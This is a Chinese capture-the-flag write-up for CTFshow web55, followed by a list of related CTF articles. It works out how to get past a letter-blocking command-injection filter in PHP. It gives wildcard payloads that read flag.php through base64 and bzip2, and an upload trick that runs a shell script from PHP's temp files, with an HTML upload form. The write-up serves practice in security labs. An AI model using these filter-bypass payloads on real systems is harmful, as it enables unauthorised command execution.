CTFshow web55
目录
web55
代码分析:
通配符解题:
构造rce
上传脚本
flag:
web55
代码分析:
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤了所有字母,下意识想到用异或运算构造字符,但是法相不太行,最后看了大佬的题解发现是构造rce,或者利用目录特性来做
通配符解题:
/bin/base64 以base64加密输出文件,并且/???/????64可以定位到,所以
payload: /?c=/???/????64 ????.???
第二种:
/usr/bin/bzip2,将文件压缩为文件名.bz2可以使用/???/???/????2 访问到
payload: /?c=/???/???/????2 ????.???
然后访问/flag.php.bz2
下载后打开
拿到flag
构造rce
第一步先写一个上传的网页,因为php中会把上传的文件先放到临时文件中,前面XSS有提到,又因为.没被过滤,所以可以上传一个命令文件,使用.执行,临时文件一般放在/tmp/文件,且命名规则为php加5个小写字母加一个可能为大写的字母,可以通过 . /???/????????[@-]]来访问,[@-]]是匹配大写字母用的
上传脚本
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://20a29f30-b869-423a-a6d6-e8cac9b4ca30.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
使用脚本向目标网站上传一个1.txt,抓包
修改内容如下,加一个参数用来执行
文件内容为:##/bin/sh调用控制台 +ls
发到重发器上,如果没有结果则再发送一次,因为最后一个字母不一定是大写的,所以要刷概率
结果出来啦
最后使用 cat flag.php,因为我前面给它压缩了变成了flag.php.bz2,所以cat到一堆乱码,就不展示了
flag:
ctfshow{ff85d8ef-05f2-4e62-a314-3e05ce5351df}
CTFshow web55相关推荐
- CTFshow 命令执行 web55
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- 命令执行(ctfshow)
文章目录 介绍 PHP命令执行的参数 ${php代码} assert preg_replace() create_function() 介绍 构造一些payload 实现后门的搭建 array_map ...
- CTFSHOW WEB 1-100
web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sql注入 <?php ...
- CTFSHOW web入门 命令执行+文件包含+PHP特性
刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- CTFshow sql注入 上篇(web171-220)
目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...
- CTFshow 反序列化 web266
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...
最新文章
- 把LabelImg标注的YOLO格式标签转化为VOC格式标签 和 把VOC格式标签转化为YOLO格式标签
- Delphi开发步骤经验谈(C++亦实用)
- fprintf与fwrite的区别
- 使用清华镜像安装pytorch失败的解决方法
- 【汇编语言】【ARM扩展资料】汇编语言开发
- SqlServer和Oralce保留几位小数以及当末尾小数为0也显示
- Mac端将本地新项目上传到github
- Fedora7安装后的配置
- 最新的easymule版本,使用vs2005编译
- grub4dos 引导linux,Grub4dos系统引导
- PS制作火焰文字特效
- CTF挑战赛-合天网安实验室
- 一万年太久只争朝夕:从灯泡的寿命谈截尾样本的基础知识
- Web前端业界氛围极好的群——鬼懿IT
- Android添加大图通知栏消息
- 好看实用的便签条工具推荐
- 简易的网上购物商城首页设计流程
- 2-VIV-Android控件之res资源加载
- (PHPExcel)读取表格中数据
- 双截龙java游戏下载_双截龙合集游戏
热门文章
- 小目标检测论文笔记:Learning Calibrated-Guidance for Object Detection in Aerial Images
- 老铁,又跌了!2020年6月程序员工资统计
- 学习笔记:SpringCloud 微服务技术栈_高级篇⑤_可靠消息服务
- Linux命令-fsync
- Matlab处理气象数据(九)逐点变化的显著性分析
- 数据库分区和分表的区别以及其作用
- 第二课 protel学习系列——原理图的绘制PCB绘制基础
- Windows系统作为NTP同步时间的服务器时的设置
- Hibernate之HQL多表查询
- php织梦模板上传,织梦模板让模型里的图片字段支持本地上传的办法